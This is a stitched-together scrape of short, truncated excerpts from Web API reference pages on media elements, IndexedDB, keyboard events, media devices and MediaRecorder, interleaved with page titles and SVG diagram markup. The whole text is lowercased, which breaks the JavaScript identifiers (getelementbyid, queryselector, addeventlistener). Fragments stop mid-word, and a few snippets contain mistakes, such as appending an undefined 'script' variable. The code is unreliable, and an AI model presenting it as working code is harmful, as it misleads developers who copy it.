bubbles no cancelable no interface event event handler property onprogress examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } vide...
...ntent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm'); source.setattribute('type', 'video/webm'); video.appendchild(source); } }); result specifications specification status html living standardthe definition of 'progress media ev...
HTMLMedia​Element​.textTracks - Web APIs
examples we start with a <video> that has several <track> children <video controls poster="/images/sample.gif"> <source src="sample.mp4" type="video/mp4"> <source src="sample.ogv" type="video/ogv"> <track kind="captions" src="samplecaptions.vtt" srclang="en"> <track kind="descriptions" src="sampledescriptions.vtt" srclang="en"> <track kind="chapters" src="samplechapters.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_de.vtt" srclang="de"> <track kind="subti...
...tles" src="samplesubtitles_en.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_ja.vtt" srclang="ja"> <track kind="subtitles" src="samplesubtitles_oz.vtt" srclang="oz"> <track kind="metadata" src="keystage1.vtt" srclang="en" label="key stage 1"> <track kind="metadata" src="keystage2.vtt" srclang="en" label="key stage 2"> <track kind="metadata" src="keystage3.vtt" srclang="en" label="key stage 3"> </video> the htmlmediaelement.texttracks returns a texttrackslist thru which we can iterate.
HTMLOptionsCollection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consol...
...as,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcollection</text></a><polyline points="141,25 151,20 151,30 141,25" stroke="#d4dde4" fill="none"/><line x1="151" y1="25" x2="181" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptionscollection" target="_top"><rect x="181" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="286" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptionscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties name type description length unsigned long as optionally allowed by th...
HTMLOrForeignElement.dataset - Web APIs
for example: null is converted into the string "null".
... examples <div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>john doe</div> const el = document.queryselector('#user'); // el.id === 'user' // el.dataset.id === '1234567890' // el.dataset.user === 'johndoe' // el.dataset.dateofbirth === '' // set the data attribute el.dataset.dateofbirth = '1960-10-03'; // result: el.dataset.dateofbirth === 1960-10-03 delete el.dataset.dateofbirth; // result: el.dataset.dateofbirth === undefined // 'somedataattr' in el.dataset === false el.dataset.somedataattr = 'mydata'; // result: 'somedataattr' in el.dataset === true specifications specification status comment ...
HTMLElement.focus() - Web APIs
examples focus on a text field javascript focusmethod = function getfocus() { document.getelementbyid("mytextfield").focus(); } html <input type="text" id="mytextfield" value="text field."> <p></p> <button type="button" onclick="focusmethod()">click me to focus on the text field!</button> result focus on a button javascript focusmethod = function getfocus() { document.getelementbyid("mybutton").focus(); } html <button type="button" id="mybutton">click me!</button> <p></p> <b...
...utton type="button" onclick="focusmethod()">click me to focus on the button!</button> result focus with focusoption javascript focusscrollmethod = function getfocus() { document.getelementbyid("mybutton").focus({preventscroll:false}); } focusnoscrollmethod = function getfocuswithoutscrolling() { document.getelementbyid("mybutton").focus({preventscroll:true}); } html <button type="button" onclick="focusscrollmethod()">click me to focus on the button!</button> <button type="button" onclick="focusnoscrollmethod()">click me to focus on the button without scrolling!</button> <div id="container" style="height: 1000px; width: 1000px;"> <button type="button" id="mybutton" style="margin-top: 500px;">click me!</button> </div> result specification s...
HTMLScriptElement.referrerPolicy - Web APIs
note: an empty string value ("") is both the default value, and a fallback value if referrerpolicy is not supported.
... examples var scriptelem = document.createelement("script"); scriptelem.src = "/"; scriptelem.referrerpolicy = "unsafe-url"; document.body.appendchild(script); specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLSelectElement.namedItem() - Web APIs
in javascript, using the array bracket syntax with a string, like selectelt["value"] is equivalent to selectelt.nameditem("value").
... example html <form> <select id="myformcontrol"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript elem1 = document.forms[0]['myformcontrol']['o1']; // returns the htmloptionelement representing #o1 specifications specification status comment html living standardthe definition of 'htmlselectelement.nameditem()' in that specification.
HTMLSelectElement.type - Web APIs
syntax var str = selectelt.type; the possible values are: "select-multiple" if multiple values can be selected.
... "select-one" if only one value can be selected.
HTMLSlotElement: slotchange event - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the <slot>s, then add a slotchange event listener to the template's second slot — which is the one which has its contents changed in the example.
... specifications specification status comment domthe definition of '"mutation observers" and slotchange event' in that specification.
HTMLTableElement.cellPadding - Web APIs
"10") or a percentage value (e.g.
... "10%").
HTMLTableElement.cellSpacing - Web APIs
syntax htmltableelement.cellspacing = spacing; var spacing = htmltableelement.cellspacing; value a domstring which is either a number of pixels (such as "10") or a percentage value (like "10%").
... var t = document.getelementbyid('tablea'); t.cellspacing = "10"; specification w3c dom 2 html specification htmltableelement .cellspacing.
File drag and drop - Web APIs
the following code snippet shows how this is done with a <div> element: <div id="drop_zone" ondrop="drophandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> typically, an application will include a dragover event handler on the drop target element and that handler will turn off the browser's default drag behavior.
... to add this handler, you need to include a ondragover global event handler: <div id="drop_zone" ondrop="drophandler(event);" ondragover="dragoverhandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> lastly, an application may want to style the drop target element to visually indicate the element is a drop zone.
History.pushState() - Web APIs
WebAPIHistorypushState
description in a sense, calling pushstate() is similar to setting window.location = "#foo", in that both will also create and activate another history entry associated with the current document.
...in contrast, setting window.location = "#foo"; only creates a new history entry if the current hash isn't #foo.
IDBCursor.source - Web APIs
WebAPIIDBCursorsource
within each iteration we log the source of the cursor, which will log our idbobjectstore object to the console, something like this: idbobjectstore {autoincrement: false, transaction: idbtransaction, indexnames: domstringlist, keypath: "albumtitle", name: "rushalbumlist"…} the cursor does not require us to select the data based on a key; we can just grab all of it.
...for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.source); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications ...
IDBDatabase.name - Web APIs
WebAPIIDBDatabasename
// let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being // opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... this is used a lot below db = dbopenrequest.result; // this line will log the name of the database, which should be "todolist" console.log(db.name); }; specifications specification status comment indexed database api 2.0the definition of 'name' in that specification.
IDBDatabase.onabort - Web APIs
dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function() { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function() { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { uni...
...que: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; }; specifications specification status comment indexed database api 2.0the definition of 'onabort' in that specification.
IDBDatabase.onerror - Web APIs
dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { uni...
...que: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; }; specifications specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
IDBDatabase.onversionchange - Web APIs
request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { uni...
...que: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; db.onversionchange = function(event) { note.innerhtml += '<li>a database change has occurred; you should refresh this browser window, or close it down and use the other open version of this application, wherever it exists.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'onversionchange' in that specification.
IDBDatabase.version - Web APIs
example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database // being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be "4" console.log(db.version); }; specifications specification status comment indexed database api 2.0the definition of 'version' in that specification.
IDBFactory - Web APIs
window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
...eferences to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { console.error("error loading database."); }; dbopenrequest.onsuccess = function(event) { console.info("database initialised."); // store the result of opening the database in the db variable.
IDBObjectStore.clear() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // clear all the data form the object store cleardata(); }; function cleardata() { // open a read/write db transaction, ready for clearing the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to clear all the data out of the object store var objectsto...
IDBObjectStore.getKey() - Web APIs
example let openrequest = indexeddb.open("telemetry"); openrequest.onsuccess = (event) => { let db = event.target.result; let store = db.transaction("netlogs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st...
... activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification.
IDBObjectStore.put() - Web APIs
for a full working example, see our to-do notifications app (view example live.) const title = "walk dog"; // open up a transaction as usual const objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title const objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = () => { // grab the data object returned as the result const data = objectstoretitlerequest.result; // ...
...update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back into the database const updatetitlerequest = objectstore.put(data); // log the transaction that originated this request console.log("the transaction that originated this request is " + updatetitlerequest.transaction); // when this new request succeeds, run the displaydata() function again to update the display updatetitlerequest.onsuccess = () => { displaydata(); }; }; specification specification status comment indexed database api 2.0the definition of 'put()' in that specification.
IDBRequest.error - Web APIs
WebAPIIDBRequesterror
for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the do-do list with the specified title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notifi...
...ed value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); }; specifications specification status comment indexed database api 2.0the definition of 'error' in that specification.
IDBRequest.readyState - Web APIs
for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // u...
...pdate the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the readystate of this request is " + updatetitlerequest.readystate); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification.
IDBRequest.result - Web APIs
WebAPIIDBRequestresult
for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // u...
...pdate the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification.
IDBRequest.source - Web APIs
WebAPIIDBRequestsource
for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as its title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // up...
...date the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the source of this request is " + updatetitlerequest.source); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
IDBTransaction.commit() - Web APIs
examples // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["mydb"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("myobjstore"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification.
ImageCapture.getPhotoSettings() - Web APIs
syntax const settingspromise = imagecapture.getphotosettings() return value a promise that resolves with a photosettings object containing the following properties: filllightmode: the flash setting of the capture device, one of "auto", "off", or "on".
... const input = document.queryselector('input[type="range"]'); var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min...
IntersectionObserver.unobserve() - Web APIs
var observer = new intersectionobserver(callback); observer.observe(document.getelementbyid("elementtoobserve")); /* ...
... */ observer.unobserve(document.getelementbyid("elementtoobserve")); specifications specification status comment intersection observerthe definition of 'intersectionobserver.unobserve()' in that specification.
KeyboardEvent.keyCode - Web APIs
example window.addeventlistener("keydown", function (event) { if (event.defaultprevented) { return; // should do nothing if the default action has been cancelled } var handled = false; if (event.key !== undefined) { // handle the event with keyboardevent.key and set handled true.
... } if (handled) { // suppress "double action" if event handled event.preventdefault(); } }, true); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.keycode' in that specification.
KeyboardEvent.metaKey - Web APIs
at least as of firefox 48, the ⊞ windows key is not considered the "meta" key.
... syntax var metakeypressed = instanceofkeyboardevent.metakey return value a boolean example function ismetakey(e) { alert("metakey = " + e.metakey); } <button onclick="ismetakey(event)">click me with the meta key</button> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.metakey' in that specification.
KeyboardEvent.which - Web APIs
example <html> <head> <title>charcode/keycode/which example</title> <script type="text/javascript"> function showkeypress(evt) { alert("onkeypress handler: \n" + "keycode property: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" + "charcode property: " + evt.charcode + "\n" + "character key pressed: " + string.fromcharcode(evt.charcode) + "\n" ); } function keydown(evt) { alert("onkeydown handler: \n" + "keycode propert...
...y: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" ); } </script> </head> <body onkeypress="showkeypress(event);" onkeydown="keydown(event);" > <p>please press any key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.which' in that specification.
Keyboard API - Web APIs
to capture the "w", "a", "s", and "d" keys, call lock() with a list that contains the key code attribute value for each of these keys: navigator.keyboard.lock(["keyw", "keya", "keys", "keyd"]); this captures these keys regardless of which modifiers are used with the key press.
... assuming a standard united states qwerty layout, registering keyw ensures that "w", shift+"w", control+"w", control+shift+"w", and all other key modifier combinations with "w" are sent to the app.
KeyframeEffect.target - Web APIs
syntax var targetelement = document.getelementbyid("elementtoanimate"); var keyframes = new keyframeeffect( targetelement, keyframeblock, timingoptions ); // returns #elementtoanimate keyframes.target; // assigns keyframes a new target keyframes.target = newtargetelement; value an element, csspseudoelement, or null.
... examples in the follow the white rabbit example, whiterabbit sets the target element to be animated: var whiterabbit = document.getelementbyid("rabbit"); var rabbitdownkeyframes = new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // returns <div id=​"rabbit">​click the rabbit's ears!​</div>​ rabbitdownkeyframes.target; specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
Location: hash - Web APIs
WebAPILocationhash
if the url does not have a fragment identifier, this property contains an empty string, "".
... syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/location.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'hash' in that specification.
Locks.name - Web APIs
WebAPILockname
for example, if only one tab of a web application should be synchronizing network resources with an offline database, it could use a lock name such as "net_db_sync".
... navigator.locks.request("net_db_sync", show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'name' in that specification.
Lock - Web APIs
WebAPILock
the mode is either "exclusive" (the default) or "shared".
... navigator.locks.request("net_db_sync", show_lock_properties); navigator.locks.request("another_lock", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'lock' in that specification.
MSCandidateWindowShow - Web APIs
syntax event property object.oncandidatewindowshow = handler; addeventlistener method object.addeventlistener("mscandidatewindowshow", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
... example in ie11, developers can detect the opening of the ime candidate window by listening to mscandidatewindowshow event, then call getcandidatewindowclientrect() function to find out where the candidate window is and position the suggestion ui away from it: var context = document.getelementbyid("mysearchbox").msgetinputcontext(); context.addeventlistener("mscandidatewindowshow", candidatewindowshowhandler); function candidatewindowshowhandler(e) { var imerect = context.getcandidatewindowclientrect(); var suggestionrect = document.getelementbyid("mysuggestionlist").getboundingclientrect(); // check if the two rects intersect, and position them away from each other.
MediaConfiguration - Web APIs
example //create a video configuration to be tested const videodecoderconfig = { type : 'file', // 'record', 'transmission', or 'media-source' video : { contenttype : "video/webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s.
... } }; const audioencoderconfig = { type : 'file', // 'record', 'transmission', or 'media-source' audio : { contenttype : "audio/ogg", // valid content type channels : 2, // audio channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
MediaDeviceInfo.label - Web APIs
the label readonlyinline property of the mediadeviceinfo interface returns a domstring, that is a label describing this device (for example "external usb webcam").
...for security reasons, the label is always an empty string ("") if the user has not obtained permission to use at least one media device, either by starting a stream from the microphone or camera, or by persistent permissions being granted.
MediaDevices.enumerateDevices() - Web APIs
if (!navigator.mediadevices || !navigator.mediadevices.enumeratedevices) { console.log("enumeratedevices() not supported."); return; } // list cameras and microphones.
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { console.log(device.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more mediastreams are active or persistent permissions are granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1x...
MediaDevices.getSupportedConstraints() - Web APIs
html <p>the following media constraints are supported by your browser:</p> <ul id="constraintlist"> </ul> css body { font: 15px arial, sans-serif; } javascript let constraintlist = document.getelementbyid("constraintlist"); let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<c...
...ode>" + constraint + "</code>"; constraintlist.appendchild(elem); } } result specifications specification status comment media capture and streamsthe definition of 'getsupportedconstraints()' in that specification.
MediaKeyMessageEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event...
...</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeymessageevent" target="_top"><rect x="116" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeymessageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediakeymessageevent() creates a new instance of mediakeymessageevent.
MediaKeySession.onkeystatuseschange - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono...
...,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeysession</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax mediakeysession.onkeystatuseschange = function(keystatuschange) { ...
MediaKeySession.onmessage - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53"...
... text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeysession</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax mediakeysession.onmessage = function(mediakeymessageevent) { ...
MediaQueryList.media - Web APIs
javascript let mql = window.matchmedia('(max-width: 600px)'); document.queryselector(".mq-value").innertext = mql.media; the javascript code simply passes the media query to match into matchmedia() to compile it, then sets the <span>'s innertext to the value of the result's media property.
... html <span class="mq-value"></span> a simple <span> to receive the output.
MediaRecorder: dataavailable event - Web APIs
var chunks = []; mediarecorder.addeventlistener('stop', (event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); }); mediarecorder.addeventlistener('dataavailable', (event) => { chunks.push(event.data); }...
... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.mimeType - Web APIs
note: the term "mime type" is officially considered to be historical; these strings are now officially known as media types.
... mimetype: 'video/mp4; codecs="avc1.424028, mp4a.40.2"' assuming this configuration is acceptable to the user agent, the value returned later by m.mimetype would then be video/mp4; codecs="avc1.424028, mp4a.40.2".
MediaRecorder.onerror - Web APIs
ecorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { return err.name; /* return the error name */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; switch(error.name) { case invalidstateerror: shownotification("you can't record the video right " + "now.
